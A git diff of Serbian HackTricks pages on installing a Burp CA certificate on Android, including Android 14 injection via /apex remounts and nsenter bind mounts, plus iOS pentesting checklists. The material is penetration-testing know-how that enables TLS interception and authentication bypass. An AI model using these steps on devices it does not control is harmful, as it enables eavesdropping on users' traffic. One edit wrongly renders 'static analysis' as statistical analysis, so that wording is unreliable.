* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -20,7 +20,7 @@ Prvo morate preuzeti Der sertifikat sa Burp-a. To možete uraditi u _**Proxy**_
|
|||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Izvezite sertifikat u Der formatu** i pretvorite ga u oblik koji će **Android** moći da **razume.** Imajte na umu da **kako biste konfigurisali Burp sertifikat na Android mašini u AVD-u** morate **pokrenuti** ovu mašinu **sa** opcijom **`-writable-system`**.\
|
||||
**Izvezite sertifikat u Der formatu** i pretvorite ga u oblik koji će **Android** moći **da razume.** Imajte na umu da **da biste konfigurisali Burp sertifikat na Android mašini u AVD-u** morate **pokrenuti** ovu mašinu **sa** opcijom **`-writable-system`**.\
|
||||
Na primer, možete je pokrenuti ovako:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Zatim, da **konfigurišete burp-ov sertifikat uradite**:
|
||||
Zatim, da **konfigurišete sertifikat Burp**, uradite sledeće:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -52,31 +52,31 @@ Ako ste **rutirali uređaj pomoću Magiska** (možda emulator), i ne možete pra
|
|||
|
||||
Objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=qQicUW0svB8) trebate:
|
||||
|
||||
1. **Instalirati CA sertifikat**: Samo **prevucite i otpustite** DER Burp sertifikat **menjajući ekstenziju** u `.crt` na mobilnom uređaju tako da bude smešten u fascikli za preuzimanje i idite na `Instaliraj sertifikat` -> `CA sertifikat`
|
||||
1. **Instalirati CA sertifikat**: Samo **prevucite i otpustite** DER Burp sertifikat **menjajući ekstenziju** u `.crt` na mobilnom uređaju tako da bude smešten u fascikli "Preuzimanja" i idite na `Instaliraj sertifikat` -> `CA sertifikat`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Proverite da li je sertifikat pravilno smešten odlaskom na `Poverljivi podaci` -> `KORISNIK`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Učinite ga sistemski poverljivim**: Preuzmite Magisk modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` datoteka), **prevucite i otpustite** je na telefon, idite u Magisk aplikaciju na telefonu u odeljku **`Moduli`**, kliknite na **`Instaliraj sa skladišta`**, izaberite `.zip` modul i jednom kada se instalira, **ponovo pokrenite** telefon:
|
||||
2. **Učiniti ga sistemski poverljivim**: Preuzmite Magisk modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` datoteka), **prevucite i otpustite** je na telefon, idite u Magisk aplikaciju na telefonu u odeljku **`Moduli`**, kliknite na **`Instaliraj sa skladišta`**, izaberite `.zip` modul i jednom kada se instalira, **ponovo pokrenite** telefon:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Nakon ponovnog pokretanja, idite na `Poverljivi podaci` -> `SISTEM` i proverite da li je Postswigger sertifikat tamo
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Nakon Android 14
|
||||
|
||||
U najnovijem Android 14 izdanju, primećen je značajan pomak u rukovanju sistemski poverljivim sertifikatima sertifikacionih tela (CA). Ranije su ovi sertifikati bili smešteni u **`/system/etc/security/cacerts/`**, dostupni i modifikovani od strane korisnika sa administratorskim privilegijama, što je omogućavalo trenutnu primenu širom sistema. Međutim, sa Androidom 14, lokacija skladištenja je premeštena u **`/apex/com.android.conscrypt/cacerts`**, direktorijum unutar putanje **`/apex`**, koji je po prirodi nepromenljiv.
|
||||
U najnovijem Android 14 izdanju, primećen je značajan pomak u rukovanju sistemski poverljivim sertifikatima sertifikacionih tela (CA). Ranije su ovi sertifikati bili smešteni u **`/system/etc/security/cacerts/`**, pristupačni i modifikovani od strane korisnika sa administratorskim privilegijama, što je omogućavalo trenutnu primenu širom sistema. Međutim, sa Androidom 14, lokacija skladištenja je premeštena u **`/apex/com.android.conscrypt/cacerts`**, direktorijum unutar putanje **`/apex`**, koji je po prirodi nepromenljiv.
|
||||
|
||||
Pokušaji ponovnog montiranja **APEX cacerts putanje** kao zapisive se susreću sa neuspehom, jer sistem ne dozvoljava takve operacije. Čak i pokušaji demontiranja ili preklapanja direktorijuma sa privremenim fajl sistemom (tmpfs) ne zaobilaze nepromenljivost; aplikacije i dalje pristupaju originalnim podacima sertifikata bez obzira na promene na nivou fajl sistema. Ova otpornost je rezultat konfiguracije montiranja **`/apex`** sa PRIVATNOM propagacijom, osiguravajući da bilo kakve modifikacije unutar direktorijuma **`/apex`** ne utiču na druge procese.
|
||||
Pokušaji ponovnog montiranja **APEX cacerts putanje** kao zapisive su neuspešni, jer sistem ne dozvoljava takve operacije. Čak i pokušaji demontiranja ili preklapanja direktorijuma privremenim fajl sistemom (tmpfs) ne zaobilaze nepromenljivost; aplikacije i dalje pristupaju originalnim podacima sertifikata bez obzira na promene na nivou fajl sistema. Ova otpornost je rezultat konfiguracije montiranja **`/apex`** sa PRIVATNOM propagacijom, osiguravajući da bilo kakve modifikacije unutar direktorijuma **`/apex`** ne utiču na druge procese.
|
||||
|
||||
Inicijalizacija Androida uključuje `init` proces, koji, prilikom pokretanja operativnog sistema, takođe pokreće Zygote proces. Ovaj proces je odgovoran za pokretanje procesa aplikacija sa novim montažnim prostorom koji uključuje privatno montiranje **`/apex`**, izolujući promene u ovom direktorijumu od drugih procesa.
|
||||
Inicijalizacija Androida uključuje proces `init`, koji, prilikom pokretanja operativnog sistema, takođe pokreće proces Zygote. Ovaj proces je odgovoran za pokretanje procesa aplikacija sa novim montažnim prostorom koji uključuje privatno montiranje **`/apex`**, čime se izoluje promene u ovom direktorijumu od drugih procesa.
|
||||
|
||||
Ipak, postoji način za one koji trebaju da modifikuju sistemski poverljive CA sertifikate unutar direktorijuma **`/apex`**. To uključuje ručno ponovno montiranje **`/apex`** kako bi se uklonila PRIVATNA propagacija, čime se čini zapisivim. Proces uključuje kopiranje sadržaja **`/apex/com.android.conscrypt`** na drugu lokaciju, demontiranje direktorijuma **`/apex/com.android.conscrypt`** kako bi se eliminisalo ograničenje samo za čitanje, a zatim vraćanje sadržaja na originalnu lokaciju unutar **`/apex`**. Ovaj pristup zahteva brzu akciju kako bi se izbegli padovi sistema. Da bi se osigurala sistematska primena ovih promena, preporučuje se ponovno pokretanje `system_server`, što efikasno ponovo pokreće sve aplikacije i dovodi sistem u konzistentno stanje.
|
||||
Ipak, postoji način za one koji trebaju da modifikuju sistemski poverljive CA sertifikate unutar direktorijuma **`/apex`**. To uključuje ručno ponovno montiranje **`/apex`** kako bi se uklonila PRIVATNA propagacija, čime se čini zapisivim. Proces uključuje kopiranje sadržaja **`/apex/com.android.conscrypt`** na drugu lokaciju, demontiranje direktorijuma **`/apex/com.android.conscrypt`** kako bi se uklonila restrikcija samo za čitanje, a zatim vraćanje sadržaja na originalnu lokaciju unutar **`/apex`**. Ovaj pristup zahteva brzu akciju kako bi se izbegli padovi sistema. Da bi se osigurala sistemski široka primena ovih promena, preporučuje se ponovno pokretanje `system_server`, što efikasno restartuje sve aplikacije i dovodi sistem u konzistentno stanje.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,22 +136,22 @@ echo "System certificate injected"
|
|||
```
|
||||
### Bind-montiranje putem NSEnter
|
||||
|
||||
1. **Postavljanje direktorijuma za pisanje**: Prvo se uspostavlja direktorijum za pisanje montiranjem `tmpfs` preko postojećeg direktorijuma za sistemske sertifikate koji nisu APEX. Ovo se postiže sledećom komandom:
|
||||
1. **Postavljanje pisivog direktorijuma**: Prvo se uspostavlja pisiv direktorijum montiranjem `tmpfs` preko postojećeg direktorijuma sertifikata sistema koji nije APEX. To se postiže sledećom komandom:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Priprema CA sertifikata**: Nakon podešavanja upisivog direktorijuma, CA sertifikati koje nameravate koristiti treba kopirati u ovaj direktorijum. To može uključivati kopiranje podrazumevanih sertifikata iz `/apex/com.android.conscrypt/cacerts/`. Bitno je prilagoditi dozvole i SELinux oznake ovih sertifikata prema potrebi.
|
||||
3. **Bind montiranje za Zygote**: Korišćenjem `nsenter`, ulazi se u Zygote-ov namespace za montiranje. Zygote, kao proces odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute od tada koriste novo konfigurisane CA sertifikate. Komanda koja se koristi je:
|
||||
3. **Bind montiranje za Zygote**: Korišćenjem `nsenter`, ulazi se u Zygote-ov mount namespace. Zygote, kao proces odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute od tada koriste novo konfigurisane CA sertifikate. Komanda koja se koristi je:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Ovo osigurava da će svaka nova pokrenuta aplikacija poštovati ažurirani CA sertifikat setup.
|
||||
Ovo osigurava da će svaka nova aplikacija koja se pokrene poštovati ažurirani CA sertifikat setup.
|
||||
|
||||
4. **Primenjivanje promena na pokrenute aplikacije**: Da biste primenili promene na već pokrenute aplikacije, ponovo se koristi `nsenter` da biste pojedinačno ušli u namespace svake aplikacije i izvršili sličan bind mount. Neophodna komanda je:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Alternativni pristup - Soft Reboot**: Alternativna metoda uključuje izvođenje bind mount-a na `init` procesu (PID 1), praćeno soft reboot-om operativnog sistema pomoću `stop && start` komandi. Ovaj pristup bi proširio promene preko svih namespace-ova, izbegavajući potrebu da se pojedinačno adresiraju svaka pokrenuta aplikacija. Međutim, ovaj metod je generalno manje preferiran zbog neugodnosti ponovnog pokretanja.
|
||||
5. **Alternativni pristup - Soft Reboot**: Alternativna metoda uključuje izvođenje bind mounta na `init` procesu (PID 1), praćeno soft restartovanjem operativnog sistema pomoću `stop && start` komandi. Ovaj pristup bi proširio promene preko svih namespace-ova, izbegavajući potrebu da se pojedinačno adresiraju svaka pokrenuta aplikacija. Međutim, ovaj metod je generalno manje preferiran zbog neugodnosti restartovanja.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -163,10 +163,10 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# iOS Pentesting Checklist
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* [ ] Pročitajte [**iOS Osnove**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Pripremite svoje okruženje čitajući [**iOS Testno Okruženje**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje sigurnosti iOS aplikacije
|
||||
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje penetracije iOS aplikacije
|
||||
|
||||
### Skladištenje Podataka
|
||||
|
||||
|
@ -47,22 +47,22 @@ Drugi načini podrške HackTricks-u:
|
|||
* [ ] [**Binarni kolačići**](ios-pentesting/#cookies) mogu skladištiti osetljive informacije
|
||||
* [ ] [**Podaci keša**](ios-pentesting/#cache) mogu skladištiti osetljive informacije
|
||||
* [ ] [**Automatski snimci**](ios-pentesting/#snapshots) mogu sačuvati vizuelno osetljive informacije
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) se obično koristi za skladištenje osetljivih informacija koje mogu ostati prilikom preprodaje telefona.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) se obično koristi za skladištenje osetljivih informacija koje mogu ostati prilikom ponovne prodaje telefona.
|
||||
* [ ] Ukratko, samo **proverite da li aplikacija čuva osetljive informacije u fajl sistemu**
|
||||
|
||||
### Tastature
|
||||
|
||||
* [ ] Da li aplikacija **dozvoljava korišćenje prilagođenih tastatura**?
|
||||
* [ ] Da li aplikacija dozvoljava korišćenje [**prilagođenih tastatura**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Proverite da li su osetljive informacije sačuvane u [**fajlovima keša tastature**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Logovi**
|
||||
|
||||
* [ ] Proverite da li se [**sačuvavaju osetljive informacije u logovima**](ios-pentesting/#logs)
|
||||
* [ ] Proverite da li se [**osetljive informacije beleže**](ios-pentesting/#logs)
|
||||
|
||||
### Bekapi
|
||||
### Bekapovi
|
||||
|
||||
* [ ] [**Bekapi**](ios-pentesting/#backups) se mogu koristiti za **pristup osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste)
|
||||
* [ ] Takođe, [**bekapi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekapi na telefon, i pošto se **modifikovana konfiguracija** učita, neka (sigurnosna) **funkcionalnost** može biti **zaobiđena**
|
||||
* [ ] [**Bekapovi**](ios-pentesting/#backups) se mogu koristiti za **pristupanje osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste)
|
||||
* [ ] Takođe, [**bekapovi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekup na telefon, i pošto se **modifikovana konfiguracija** učita, neka (bezbednosna) **funkcionalnost** može biti **zaobiđena**
|
||||
|
||||
### **Memorija Aplikacije**
|
||||
|
||||
|
@ -72,40 +72,40 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* [ ] Proverite da li možete pronaći [**šifre korištene za kriptografiju**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Proverite korišćenje [**zastarelih/slabih algoritama**](ios-pentesting/#broken-cryptography) za slanje/skladištenje osetljivih podataka
|
||||
* [ ] [**Hookujte i pratite kriptografske funkcije**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] [**Hook i nadgledajte kriptografske funkcije**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Lokalna Autentikacija**
|
||||
|
||||
* [ ] Ako se koristi [**lokalna autentikacija**](ios-pentesting/#local-authentication) u aplikaciji, treba proveriti kako autentikacija funkcioniše.
|
||||
* [ ] Ako se koristi [**Lokalni Autentikacioni Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići
|
||||
* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skriptu
|
||||
* [ ] Ako se koristi [**Lokalni Autentikacijski Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići
|
||||
* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skript
|
||||
|
||||
### Izloženost Osetljive Funkcionalnosti Putem IPC
|
||||
|
||||
* [**Prilagođeni URI Handleri / Duboki Linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [**Prilagođeni URI rukovaoci / Duboki linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Proverite da li aplikacija **registruje neki protokol/šemu**
|
||||
* [ ] Proverite da li aplikacija **registruje korišćenje** nekog protokola/šeme
|
||||
* [ ] Proverite da li aplikacija **očekuje da primi bilo kakvu vrstu osetljivih informacija** putem prilagođene šeme koju može **interceptovati** druga aplikacija koja registruje istu šemu
|
||||
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost**
|
||||
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena**
|
||||
* [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme
|
||||
* [**Univerzalni Linkovi**](ios-pentesting/#universal-links)
|
||||
* [ ] Proverite da li aplikacija **registruje neki univerzalni protokol/šemu**
|
||||
* [ ] Proverite fajl `apple-app-site-association`
|
||||
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost**
|
||||
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena**
|
||||
* [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme
|
||||
* [**UIActivity Deljenje**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti neku ranjivost sa posebno kreiranim aktivnostima
|
||||
* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti bilo koju ranjivost sa posebno kreiranim aktivnostima
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Proverite da li aplikacija **kopira nešto u opšti pasteboard**
|
||||
* [ ] Proverite da li aplikacija **kopira bilo šta u opšti pasteboard**
|
||||
* [ ] Proverite da li aplikacija **koristi podatke iz opšteg pasteboard-a za bilo šta**
|
||||
* [ ] Pratite pasteboard da biste videli da li je kopirana neka **osetljiva informacija**
|
||||
* [ ] Nadgledajte pasteboard da biste videli da li je kopirana **osetljiva informacija**
|
||||
* [**App Ekstenzije**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] Da li aplikacija **koristi neku ekstenziju**?
|
||||
* [ ] Da li aplikacija **koristi neko proširenje**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Proverite koje vrste webview-ova se koriste
|
||||
* [ ] Proverite status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Proverite da li webview može **pristupiti lokalnim fajlovima** sa protokolom **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Proverite da li JavaScript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`)
|
||||
* [ ] Proverite da li Javascript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`)
|
||||
### Komunikacija putem mreže
|
||||
|
||||
* [ ] Izvršite [**MitM napad na komunikaciju**](ios-pentesting/#network-communication) i potražite web ranjivosti.
|
||||
|
@ -119,7 +119,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -129,7 +129,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -137,7 +137,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -14,11 +14,11 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,7 +28,7 @@ Drugi načini podrške HackTricks-u:
|
|||
[ios-basics.md](ios-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Okruženje za testiranje
|
||||
## Testno Okruženje
|
||||
|
||||
Na ovoj stranici možete pronaći informacije o **iOS simulatoru**, **emulatorima** i **jailbreaking-u:**
|
||||
|
||||
|
@ -36,9 +36,9 @@ Na ovoj stranici možete pronaći informacije o **iOS simulatoru**, **emulatorim
|
|||
[ios-testing-environment.md](ios-testing-environment.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Početna analiza
|
||||
## Početna Analiza
|
||||
|
||||
### Osnovne operacije testiranja iOS-a
|
||||
### Osnovne iOS Testne Operacije
|
||||
|
||||
Tokom testiranja će biti predložene **različite operacije** (povezivanje sa uređajem, čitanje/pisanje/otpisivanje/preuzimanje fajlova, korišćenje nekih alata...). Stoga, ako ne znate kako da izvršite bilo koju od ovih radnji, molimo vas da **počnete sa čitanjem stranice**:
|
||||
|
||||
|
@ -47,13 +47,13 @@ Tokom testiranja će biti predložene **različite operacije** (povezivanje sa u
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Za sledeće korake **aplikacija treba biti instalirana** na uređaju i već ste trebali dobiti **IPA fajl** aplikacije.\
|
||||
Pročitajte stranicu [Osnovne operacije testiranja iOS-a](basic-ios-testing-operations.md) da biste saznali kako to uraditi.
|
||||
Za sledeće korake **aplikacija treba biti instalirana** na uređaju i trebalo bi već da ste dobili **IPA fajl** aplikacije.\
|
||||
Pročitajte stranicu [Osnovne iOS Testne Operacije](basic-ios-testing-operations.md) da biste saznali kako to uraditi.
|
||||
{% endhint %}
|
||||
|
||||
### Osnovna statička analiza
|
||||
### Osnovna Statistička Analiza
|
||||
|
||||
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku statičku analizu IPA fajla.
|
||||
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku Statističku Analizu IPA fajla.
|
||||
|
||||
Identifikacija **zaštita koje su prisutne u binarnom fajlu**:
|
||||
|
||||
|
@ -62,7 +62,7 @@ Identifikacija **zaštita koje su prisutne u binarnom fajlu**:
|
|||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Trebalo bi da uključuje zastavicu PIE
|
||||
```
|
||||
* **Stack Canaries**: Da bi se validirala celovitost steka, 'canary' vrednost se postavlja na stek pre poziva funkcije i ponovo se validira kada funkcija završi.
|
||||
* **Stack Canaries**: Da bi se potvrdila celovitost steka, 'canary' vrednost se postavlja na stek pre poziva funkcije i ponovo se proverava kada funkcija završi.
|
||||
|
||||
```bash
|
||||
